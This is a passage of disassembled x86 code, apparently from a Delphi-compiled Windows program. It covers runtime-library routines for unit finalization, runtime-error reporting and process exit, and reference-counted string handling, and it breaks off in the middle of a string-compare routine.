		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:off_4001E7D0
		test	eax, eax
		jz	short loc_40004575
		mov	ebx, ds:dword_4001E7D4
		mov	edi, [eax+4]
		xor	eax, eax
		push	ebp
		push	offset loc_40004561
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		test	ebx, ebx
		jle	short loc_40004557


loc_40004542:				; CODE XREF: sub_40004518+3Dj
		dec	ebx
		mov	ds:dword_4001E7D4, ebx
		mov	esi, [edi+ebx*8+4]
		test	esi, esi
		jz	short loc_40004553
		call	esi


loc_40004553:				; CODE XREF: sub_40004518+37j
		test	ebx, ebx
		jg	short loc_40004542


loc_40004557:				; CODE XREF: sub_40004518+28j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_40004575
; ---------------------------------------------------------------------------


loc_40004561:				; DATA XREF: sub_40004518+1Bo
		jmp	sub_400040D8
; ---------------------------------------------------------------------------
		call	sub_40004518
		call	sub_4000430C
		call	sub_40004360


loc_40004575:				; CODE XREF: sub_40004518+Dj
					; sub_40004518+47j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40004518	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000457C	proc near		; CODE XREF: sub_400045E4+3Ap

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:off_4001E7D0
		test	eax, eax
		jz	short loc_400045DD
		mov	edi, [eax]
		xor	ebx, ebx
		mov	eax, [eax+4]
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_400045C9
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	edi, ebx
		jle	short loc_400045BF


loc_400045A8:				; CODE XREF: sub_4000457C+41j
		mov	eax, [ebp+var_4]
		mov	esi, [eax+ebx*8]
		inc	ebx
		mov	ds:dword_4001E7D4, ebx
		test	esi, esi
		jz	short loc_400045BB
		call	esi


loc_400045BB:				; CODE XREF: sub_4000457C+3Bj
		cmp	edi, ebx
		jg	short loc_400045A8


loc_400045BF:				; CODE XREF: sub_4000457C+2Aj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_400045DD
; ---------------------------------------------------------------------------


loc_400045C9:				; DATA XREF: sub_4000457C+1Do
		jmp	sub_400040D8
; ---------------------------------------------------------------------------
		call	sub_40004518
		call	sub_4000430C
		call	sub_40004360


loc_400045DD:				; CODE XREF: sub_4000457C+Ej
					; sub_4000457C+4Bj
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_4000457C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400045E4	proc near		; CODE XREF: sub_40006474+3Ap
		mov	ds:off_4001C014, offset	sub_40001168
		mov	ds:off_4001C018, offset	sub_40001178
		mov	ds:off_4001E7D0, eax
		xor	eax, eax
		mov	ds:dword_4001E7D4, eax
		mov	ds:off_4001E7D8, edx
		mov	eax, [edx+4]
		mov	ds:dword_4001C030, eax
		call	sub_400044D0
		mov	ds:byte_4001C038, 0
		call	sub_4000457C
		retn
sub_400045E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40004624	proc near		; CODE XREF: sub_400190AC+1Fp
		push	ebx
		xor	ebx, ebx
		push	edi
		push	esi
		mov	edi, [eax+ebx]
		lea	esi, [eax+ebx+4]


loc_40004630:				; CODE XREF: sub_40004624+1Fj
		mov	eax, [esi+4]
		mov	edx, [esi]
		mov	eax, [eax+ebx]
		add	edx, ebx
		call	sub_400062F0
		add	esi, 8
		dec	edi
		jnz	short loc_40004630
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_40004624	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000464C	proc near		; CODE XREF: sub_400190AC+29p
		push	ebx
		xor	ebx, ebx
		push	edi
		push	esi
		mov	edi, [eax+ebx]
		lea	esi, [eax+ebx+4]


loc_40004658:				; CODE XREF: sub_4000464C+1Ej
		mov	eax, [esi+4]
		mov	edx, [esi]
		mov	eax, [eax+ebx]
		add	eax, [esi+8]
		mov	[edx+ebx], eax
		add	esi, 0Ch
		dec	edi
		jnz	short loc_40004658
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_4000464C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40004670	proc near		; CODE XREF: sub_40004790+31p
		push	ebx
		push	esi
		push	edi
		mov	edi, offset aRuntimeErrorAt ; "Runtime error	 at 00000000"
		mov	bl, 10h
		mov	esi, dword_4001A000


loc_40004680:				; CODE XREF: sub_40004670+32j
		mov	eax, esi
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		add	dl, 30h
		movzx	eax, bl
		mov	[edi+eax], dl
		mov	ecx, 0Ah
		mov	eax, esi
		cdq
		idiv	ecx
		mov	esi, eax
		dec	ebx
		test	esi, esi
		jnz	short loc_40004680
		mov	bl, 1Ch
		mov	esi, dword_4001A004


loc_400046AC:				; CODE XREF: sub_40004670+5Ej
		mov	eax, esi
		and	eax, 0Fh
		movzx	eax, byte_4001A7A0[eax]
		movzx	edx, bl
		mov	[edi+edx], al
		mov	ecx, 10h
		mov	eax, esi
		xor	edx, edx
		div	ecx
		mov	esi, eax
		dec	ebx
		test	esi, esi
		jnz	short loc_400046AC
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40004670	endp


; =============== S U B	R O U T	I N E =======================================



sub_400046D4	proc near		; CODE XREF: sub_40004790+A1p
		xor	eax, eax
		xchg	eax, dword_4001A000
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edi, offset dword_4001E7C8
		mov	ebx, [edi+18h]
		mov	ebp, [edi+14h]
		push	dword ptr [edi+1Ch]
		push	dword ptr [edi+20h]
		mov	esi, [edi]
		mov	ecx, 0Bh
		rep movsd
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_400046D4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004704	proc near		; CODE XREF: sub_40004790+36p

var_4		= byte ptr -4

		push	ecx
		cmp	ds:byte_4001C04C, 0
		jz	short loc_40004765
		cmp	ds:word_4001C220, 0D7B2h
		jnz	short loc_4000472D
		cmp	ds:dword_4001C228, 0
		jbe	short loc_4000472D
		mov	eax, offset dword_4001C21C
		call	ds:dword_4001C238


loc_4000472D:				; CODE XREF: sub_40004704+13j
					; sub_40004704+1Cj
		push	0
		lea	eax, [esp+8+var_4]
		push	eax
		push	1Eh
		push	offset aRuntimeErrorAt ; "Runtime error	    at 00000000"
		push	0FFFFFFF5h
		call	sub_40001160	; GetStdHandle
		push	eax
		call	sub_40001198	; WriteFile
		push	0
		lea	eax, [esp+8+var_4]
		push	eax
		push	2
		push	offset dword_4000478C
		push	0FFFFFFF5h
		call	sub_40001160	; GetStdHandle
		push	eax
		call	sub_40001198	; WriteFile
		pop	edx
		retn
; ---------------------------------------------------------------------------


loc_40004765:				; CODE XREF: sub_40004704+8j
		cmp	byte_4001A030, 0
		jnz	short loc_40004781
		push	0
		push	offset aError	; "Error"
		push	offset aRuntimeErrorAt ; "Runtime error	    at 00000000"
		push	0
		call	sub_400011B0	; MessageBoxA


loc_40004781:				; CODE XREF: sub_40004704+68j
		pop	edx
		retn
sub_40004704	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_4000478C	dd 0A0Dh	
; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40004790	proc near		; CODE XREF: sub_4000486C+5p
					; .itext:40019ADDp
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, offset dword_4001E7C8
		mov	edi, offset dword_4001C048
		cmp	byte ptr [ebx+28h], 0
		jnz	short loc_400047B8
		cmp	dword ptr [edi], 0
		jz	short loc_400047B8


loc_400047A9:				; CODE XREF: sub_40004790+26j
		mov	eax, [edi]
		mov	esi, eax
		xor	eax, eax
		mov	[edi], eax
		call	esi
		cmp	dword ptr [edi], 0
		jnz	short loc_400047A9


loc_400047B8:				; CODE XREF: sub_40004790+12j
					; sub_40004790+17j
		cmp	dword_4001A004,	0
		jz	short loc_400047D2
		call	sub_40004670
		call	sub_40004704
		xor	eax, eax
		mov	dword_4001A004,	eax


loc_400047D2:				; CODE XREF: sub_40004790+2Fj
					; sub_40004790+D2j
		cmp	byte ptr [ebx+28h], 2
		jnz	short loc_400047E6
		cmp	dword_4001A000,	0
		jnz	short loc_400047E6
		xor	eax, eax
		mov	[ebx+0Ch], eax


loc_400047E6:				; CODE XREF: sub_40004790+46j
					; sub_40004790+4Fj
		call	sub_40004518
		cmp	byte ptr [ebx+28h], 1
		jbe	short loc_400047FA
		cmp	dword_4001A000,	0
		jz	short loc_4000481D


loc_400047FA:				; CODE XREF: sub_40004790+5Fj
		mov	edi, [ebx+10h]
		test	edi, edi
		jz	short loc_4000481D
		mov	eax, edi
		call	sub_40006194
		mov	ebp, [ebx+10h]
		mov	esi, [ebp+10h]
		cmp	esi, [ebp+4]
		jz	short loc_4000481D
		test	esi, esi
		jz	short loc_4000481D
		push	esi
		call	sub_400011C8	; FreeLibrary


loc_4000481D:				; CODE XREF: sub_40004790+68j
					; sub_40004790+6Fj ...
		call	sub_400044F0
		cmp	byte ptr [ebx+28h], 1
		jnz	short loc_4000482B
		call	dword ptr [ebx+24h]


loc_4000482B:				; CODE XREF: sub_40004790+96j
		cmp	byte ptr [ebx+28h], 0
		jz	short loc_40004836
		call	sub_400046D4


loc_40004836:				; CODE XREF: sub_40004790+9Fj
		cmp	dword ptr [ebx], 0
		jnz	short loc_40004855
		cmp	ds:dword_4001C028, 0
		jz	short loc_4000484A
		call	ds:dword_4001C028


loc_4000484A:				; CODE XREF: sub_40004790+B2j
		mov	eax, dword_4001A000
		push	eax
		call	sub_400011A8	; ExitProcess


loc_40004855:				; CODE XREF: sub_40004790+A9j
		mov	eax, [ebx]
		mov	esi, eax
		mov	edi, ebx
		mov	ecx, 0Bh
		rep movsd
		jmp	loc_400047D2
sub_40004790	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4000486C	proc near		; CODE XREF: sub_40002CF8+6p
					; sub_40004878+6j ...
		mov	dword_4001A000,	eax
		call	sub_40004790
sub_4000486C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40004878	proc near		; CODE XREF: sub_400030B4+14j
					; sub_400042E4+9p ...
		pop	dword_4001A004
		jmp	sub_4000486C
sub_40004878	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40004884	proc near		; CODE XREF: sub_40002FF8+Fp
					; sub_40004974+23p ...
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_400048A6
		mov	dword ptr [eax], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_400048A6
		lock dec dword ptr [edx-8]
		jnz	short locret_400048A6
		push	eax
		lea	eax, [edx-8]
		call	sub_40002C3C
		pop	eax

locret_400048A6:			; CODE XREF: sub_40004884+4j
					; sub_40004884+10j ...
		retn
sub_40004884	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400048A8	proc near		; CODE XREF: sub_40005314+56p
					; sub_40006A2C+7Ap ...
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, edx


loc_400048AE:				; CODE XREF: sub_400048A8+2Aj
		mov	edx, [ebx]
		test	edx, edx
		jz	short loc_400048CE
		mov	dword ptr [ebx], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short loc_400048CE
		lock dec dword ptr [edx-8]
		jnz	short loc_400048CE
		lea	eax, [edx-8]
		call	sub_40002C3C


loc_400048CE:				; CODE XREF: sub_400048A8+Aj
					; sub_400048A8+16j ...
		add	ebx, 4
		dec	esi
		jnz	short loc_400048AE
		pop	esi
		pop	ebx
		retn
sub_400048A8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400048D8	proc near		; CODE XREF: sub_40004B50+8j
					; sub_40004B94+6j ...
		test	edx, edx
		jz	short loc_40004900
		mov	ecx, [edx-8]
		inc	ecx
		jg	short loc_400048FC
		push	eax
		push	edx
		mov	eax, [edx-4]
		call	sub_40004948
		mov	edx, eax
		pop	eax
		push	edx
		mov	ecx, [eax-4]
		call	sub_40002DFC
		pop	edx
		pop	eax
		jmp	short loc_40004900
; ---------------------------------------------------------------------------


loc_400048FC:				; CODE XREF: sub_400048D8+8j
		lock inc dword ptr [edx-8]


loc_40004900:				; CODE XREF: sub_400048D8+2j
					; sub_400048D8+22j
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_4000491A
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_4000491A
		lock dec dword ptr [edx-8]
		jnz	short locret_4000491A
		lea	eax, [edx-8]
		call	sub_40002C3C

locret_4000491A:			; CODE XREF: sub_400048D8+2Cj
					; sub_400048D8+32j ...
		retn
sub_400048D8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000491C	proc near		; CODE XREF: sub_40009414+58p
					; sub_40009590+57p ...
		test	edx, edx
		jz	short loc_4000492A
		mov	ecx, [edx-8]
		inc	ecx
		jle	short loc_4000492A
		lock inc dword ptr [edx-8]


loc_4000492A:				; CODE XREF: sub_4000491C+2j
					; sub_4000491C+8j
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_40004944
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_40004944
		lock dec dword ptr [edx-8]
		jnz	short locret_40004944
		lea	eax, [edx-8]
		call	sub_40002C3C

locret_40004944:			; CODE XREF: sub_4000491C+12j
					; sub_4000491C+18j ...
		retn
sub_4000491C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004948	proc near		; CODE XREF: sub_400048D8+Fp
					; sub_40004974+Bp ...
		test	eax, eax
		jle	short loc_40004970
		push	eax
		add	eax, 0Ah
		and	eax, 0FFFFFFFEh
		push	eax
		call	sub_40002C20
		pop	edx
		mov	word ptr [edx+eax-2], 0
		add	eax, 8
		pop	edx
		mov	[eax-4], edx
		mov	dword ptr [eax-8], 1
		retn
; ---------------------------------------------------------------------------


loc_40004970:				; CODE XREF: sub_40004948+2j
		xor	eax, eax
		retn
sub_40004948	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004974	proc near		; CODE XREF: sub_40002FF8+2Fp
					; sub_400049E0+4Ep ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	eax, edi
		call	sub_40004948
		mov	ecx, edi
		mov	edi, eax
		test	esi, esi
		jz	short loc_40004995
		mov	edx, eax
		mov	eax, esi
		call	sub_40002DFC


loc_40004995:				; CODE XREF: sub_40004974+16j
		mov	eax, ebx
		call	sub_40004884
		mov	[ebx], edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40004974	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400049A4	proc near		; CODE XREF: sub_400049E0+3Bp
					; sub_400049E0+6Bp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	edx
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		push	ecx
		push	0
		mov	eax, ds:dword_4001C5BC
		push	eax
		call	sub_40001250	; WideCharToMultiByte
		pop	ebp
		retn	4
sub_400049A4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400049C4	proc near		; CODE XREF: sub_4000506C+3Bp
					; sub_4000506C+69p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edx
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		push	ecx
		push	0
		mov	eax, ds:dword_4001C5BC
		push	eax
		call	sub_40001230	; MultiByteToWideChar
		pop	ebp
		retn	4
sub_400049C4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400049E0	proc near		; CODE XREF: sub_40004AAC:loc_40004ADFj
					; sub_40004B0C:loc_40004B17j ...

var_1014	= dword	ptr -1014h
var_1010	= byte ptr -1010h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFF004h
		push	eax
		add	esp, 0FFFFFFFCh
		mov	esi, ecx
		mov	[esp+1014h+var_1014], edx
		mov	edi, eax
		test	esi, esi
		jg	short loc_40004A02
		mov	eax, edi
		call	sub_40004884
		jmp	short loc_40004A61
; ---------------------------------------------------------------------------


loc_40004A02:				; CODE XREF: sub_400049E0+17j
		lea	ebp, [esi+1]
		cmp	ebp, 7FFh
		jge	short loc_40004A35
		push	esi
		lea	eax, [esp+1018h+var_1010]
		mov	ecx, [esp+1018h+var_1014]
		mov	edx, 0FFFh
		call	sub_400049A4
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_40004A35
		lea	edx, [esp+1014h+var_1010]
		mov	eax, edi
		mov	ecx, ebx
		call	sub_40004974
		jmp	short loc_40004A61
; ---------------------------------------------------------------------------


loc_40004A35:				; CODE XREF: sub_400049E0+2Bj
					; sub_400049E0+44j
		mov	ebx, ebp
		add	ebx, ebx
		mov	eax, edi
		mov	edx, ebx
		call	sub_40004F74
		push	esi
		mov	eax, [edi]
		mov	ecx, [esp+1018h+var_1014]
		mov	edx, ebx
		call	sub_400049A4
		mov	ebx, eax
		test	ebx, ebx
		jge	short loc_40004A58
		xor	ebx, ebx


loc_40004A58:				; CODE XREF: sub_400049E0+74j
		mov	eax, edi
		mov	edx, ebx
		call	sub_40004F74


loc_40004A61:				; CODE XREF: sub_400049E0+20j
					; sub_400049E0+53j
		add	esp, 1004h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400049E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40004A6C	proc near		; CODE XREF: sub_4000ABA4+8Fp
					; sub_4000ABA4+196p ...
		push	edx
		mov	edx, esp
		mov	ecx, 1
		call	sub_40004974
		pop	edx
		retn
sub_40004A6C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004A7C	proc near		; CODE XREF: sub_400062F0+49p
					; sub_40009414+121p ...
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_40004AA3
		push	edx


loc_40004A83:				; CODE XREF: sub_40004A7C+1Dj
		cmp	cl, [edx]
		jz	short loc_40004A9E
		cmp	cl, [edx+1]
		jz	short loc_40004A9D
		cmp	cl, [edx+2]
		jz	short loc_40004A9C
		cmp	cl, [edx+3]
		jz	short loc_40004A9B
		add	edx, 4
		jmp	short loc_40004A83
; ---------------------------------------------------------------------------


loc_40004A9B:				; CODE XREF: sub_40004A7C+18j
		inc	edx


loc_40004A9C:				; CODE XREF: sub_40004A7C+13j
		inc	edx


loc_40004A9D:				; CODE XREF: sub_40004A7C+Ej
		inc	edx


loc_40004A9E:				; CODE XREF: sub_40004A7C+9j
		mov	ecx, edx
		pop	edx
		sub	ecx, edx


loc_40004AA3:				; CODE XREF: sub_40004A7C+4j
		jmp	sub_40004974
sub_40004A7C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004AAC	proc near		; CODE XREF: sub_400116DC+3DAp
					; DATA XREF: sub_4000843E:loc_40008570o
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_40004ADF
		push	edx


loc_40004AB3:				; CODE XREF: sub_40004AAC+21j
		cmp	cx, [edx]
		jz	short loc_40004AD8
		cmp	cx, [edx+2]
		jz	short loc_40004AD5
		cmp	cx, [edx+4]
		jz	short loc_40004AD2
		cmp	cx, [edx+6]
		jz	short loc_40004ACF
		add	edx, 8
		jmp	short loc_40004AB3
; ---------------------------------------------------------------------------


loc_40004ACF:				; CODE XREF: sub_40004AAC+1Cj
		add	edx, 2


loc_40004AD2:				; CODE XREF: sub_40004AAC+16j
		add	edx, 2


loc_40004AD5:				; CODE XREF: sub_40004AAC+10j
		add	edx, 2


loc_40004AD8:				; CODE XREF: sub_40004AAC+Aj
		mov	ecx, edx
		pop	edx
		sub	ecx, edx
		shr	ecx, 1


loc_40004ADF:				; CODE XREF: sub_40004AAC+4j
		jmp	sub_400049E0
sub_40004AAC	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004AE8	proc near		; CODE XREF: sub_4001293C+B8p
					; sub_40013B54+3Cp ...
		xor	ecx, ecx
		mov	cl, [edx]
		inc	edx
		jmp	sub_40004974
sub_40004AE8	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004AF4	proc near		; CODE XREF: sub_40009414+98p
					; sub_40009590+A2p ...
		push	edi
		push	eax
		push	ecx
		mov	edi, edx
		xor	eax, eax
		repne scasb
		jnz	short loc_40004B01
		not	ecx


loc_40004B01:				; CODE XREF: sub_40004AF4+9j
		pop	eax
		add	ecx, eax
		pop	eax
		pop	edi
		jmp	sub_40004974
sub_40004AF4	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40004B0C	proc near		; CODE XREF: sub_4000CE4C+2Ap
					; sub_4000CEB8+2Ap ...
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_40004B17
		mov	ecx, [edx-4]
		shr	ecx, 1


loc_40004B17:				; CODE XREF: sub_40004B0C+4j
		jmp	sub_400049E0
sub_40004B0C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40004B20	proc near		; CODE XREF: .text:40015A32p
		push	ebx
		test	edx, edx
		jz	short loc_40004B3D
		mov	ebx, [edx-4]
		test	ebx, ebx
		jz	short loc_40004B3D
		cmp	ecx, ebx
		jl	short loc_40004B32
		mov	ecx, ebx


loc_40004B32:				; CODE XREF: sub_40004B20+Ej
		mov	[eax], cl
		inc	eax
		xchg	eax, edx
		call	sub_40002DFC
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40004B3D:				; CODE XREF: sub_40004B20+3j
					; sub_40004B20+Aj
		mov	byte ptr [eax],	0
		pop	ebx
		retn
sub_40004B20	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004B44	proc near		; CODE XREF: sub_40003328+3Ep
					; sub_40003328+56p ...
		test	eax, eax
		jz	short locret_40004B4D
		sub	eax, 4
		mov	eax, [eax]

locret_40004B4D:			; CODE XREF: sub_40004B44+2j
		retn
sub_40004B44	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40004B50	proc near		; CODE XREF: sub_40004B94+1Dj
					; sub_40004B94+6Ej ...
		test	edx, edx
		jz	short locret_40004B93
		mov	ecx, [eax]
		test	ecx, ecx
		jz	sub_400048D8
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, [ecx-4]
		mov	edx, [esi-4]
		add	edx, edi
		cmp	esi, ecx
		jz	short loc_40004B88
		call	sub_40004F74
		mov	eax, esi
		mov	ecx, [esi-4]


loc_40004B7B:				; CODE XREF: sub_40004B50+41j
		mov	edx, [ebx]
		add	edx, edi
		call	sub_40002DFC
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40004B88:				; CODE XREF: sub_40004B50+1Fj
		call	sub_40004F74
		mov	eax, [ebx]
		mov	ecx, edi
		jmp	short loc_40004B7B
; ---------------------------------------------------------------------------

locret_40004B93:			; CODE XREF: sub_40004B50+2j
		retn
sub_40004B50	endp


; =============== S U B	R O U T	I N E =======================================



sub_40004B94	proc near		; CODE XREF: sub_4001293C+E2p
					; sub_4001293C+F5p ...
		test	edx, edx
		jz	short loc_40004BF9
		test	ecx, ecx
		jz	sub_400048D8
		cmp	edx, [eax]
		jz	short loc_40004C00
		cmp	ecx, [eax]
		jz	short loc_40004BB6
		push	eax
		push	ecx
		call	sub_400048D8
		pop	edx
		pop	eax
		jmp	sub_40004B50
; ---------------------------------------------------------------------------


loc_40004BB6:				; CODE XREF: sub_40004B94+12j
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, ecx
		push	eax
		mov	eax, [ebx-4]
		add	eax, [esi-4]
		call	sub_40004948
		mov	edi, eax
		mov	edx, eax
		mov	eax, ebx
		mov	ecx, [ebx-4]
		call	sub_40002DFC
		mov	edx, edi
		mov	eax, esi
		mov	ecx, [esi-4]
		add	edx, [ebx-4]
		call	sub_40002DFC
		pop	eax
		mov	edx, edi
		test	edi, edi
		jz	short loc_40004BF0
		dec	dword ptr [edi-8]


loc_40004BF0:				; CODE XREF: sub_40004B94+57j
		call	sub_400048D8
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40004BF9:				; CODE XREF: sub_40004B94+2j
		mov	edx, ecx
		jmp	sub_400048D8
; ---------------------------------------------------------------------------


loc_40004C00:				; CODE XREF: sub_40004B94+Ej
		mov	edx, ecx
		jmp	sub_40004B50
sub_40004B94	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40004C08	proc near		; CODE XREF: sub_4000BE64+27Bp
					; sub_4000BE64+298p ...

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	edx
		push	eax
		mov	ebx, edx
		xor	edi, edi
		mov	ecx, [esp+edx*4+14h]
		test	ecx, ecx
		jz	short loc_40004C25
		cmp	[eax], ecx
		jnz	short loc_40004C25
		mov	edi, ecx
		mov	eax, [ecx-4]
		dec	edx
		jmp	short loc_40004C27
; ---------------------------------------------------------------------------


loc_40004C25:				; CODE XREF: sub_40004C08+Fj
					; sub_40004C08+13j
		xor	eax, eax


loc_40004C27:				; CODE XREF: sub_40004C08+1Bj
					; sub_40004C08+31j
		mov	ecx, [esp+edx*4+14h]
		test	ecx, ecx
		jz	short loc_40004C38
		add	eax, [ecx-4]
		cmp	edi, ecx
		jnz	short loc_40004C38
		xor	edi, edi


loc_40004C38:				; CODE XREF: sub_40004C08+25j
					; sub_40004C08+2Cj
		dec	edx
		jnz	short loc_40004C27
		test	edi, edi
		jz	short loc_40004C56
		mov	edx, eax
		mov	eax, [esp+14h+var_14]
		mov	esi, [edi-4]
		call	sub_40004F74
		mov	edi, [esp+14h+var_14]
		push	dword ptr [edi]
		add	esi, [edi]
		dec	ebx
		jmp	short loc_40004C5E
; ---------------------------------------------------------------------------


loc_40004C56:				; CODE XREF: sub_40004C08+35j
		call	sub_40004948
		push	eax
		mov	esi, eax


loc_40004C5E:				; CODE XREF: sub_40004C08+4Cj
					; sub_40004C08+6Bj
		mov	eax, [esp+ebx*4+18h]
		mov	edx, esi
		test	eax, eax
		jz	short loc_40004C72
		mov	ecx, [eax-4]
		add	esi, ecx
		call	sub_40002DFC


loc_40004C72:				; CODE XREF: sub_40004C08+5Ej
		dec	ebx
		jnz	short loc_40004C5E
		pop	edx
		pop	eax
		test	edi, edi
		jnz	short loc_40004C87
		test	edx, edx
		jz	short loc_40004C82
		dec	dword ptr [edx-8]


loc_40004C82:				; CODE XREF: sub_40004C08+75j
		call	sub_400048D8


loc_40004C87:				; CODE XREF: sub_40004C08+71j
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		pop	eax
		lea	esp, [esp+edx*4]
		jmp	eax
sub_40004C08	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004C94	proc near		; CODE XREF: sub_40017944+4Cp
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		cmp	eax, edx
		jz	loc_40004D32
		test	esi, esi
		jz	short loc_40004D0F
		test	edi, edi
		jz	short loc_40004D16
		mov	eax, [esi-4]
		mov	edx, [edi-4]
		sub	eax, edx
		ja	short loc_40004CB7
		add	edx, eax


loc_40004CB7:				; CODE XREF: sub_40004C94+1Fj
		push	edx
		shr	edx, 2
		jz	short loc_40004CE3


loc_40004CBD:				; CODE XREF: sub_40004C94+45j
		mov	ecx, [esi]
		mov	ebx, [edi]
		cmp	ecx, ebx
		jnz	short loc_40004D1D
		dec	edx
		jz	short loc_40004CDD
		mov	ecx, [esi+4]
		mov	ebx, [edi+4]
		cmp	ecx, ebx
		jnz	short loc_40004D1D
		add	esi, 8
		add	edi, 8
		dec	edx
		jnz	short loc_40004CBD
		jmp	short loc_40004CE3
; ---------------------------------------------------------------------------


loc_40004CDD:				; CODE XREF: sub_40004C94+32j
		add	esi, 4
		add	edi, 4


loc_40004CE3:				; CODE XREF: sub_40004C94+27j
					; sub_40004C94+47j
		pop	edx
		and	edx, 3
		jz	short loc_40004D0B
		mov	ecx, [esi]
		mov	ebx, [edi]
		cmp	cl, bl
		jnz	short loc_40004D32
		dec	edx
		jz	short loc_40004D0B
		cmp	ch, bh
		jnz	short loc_40004D32
		dec	edx
		jz	short loc_40004D0B
		and	ebx, 0FF0000h
		and	ecx, 0FF0000h
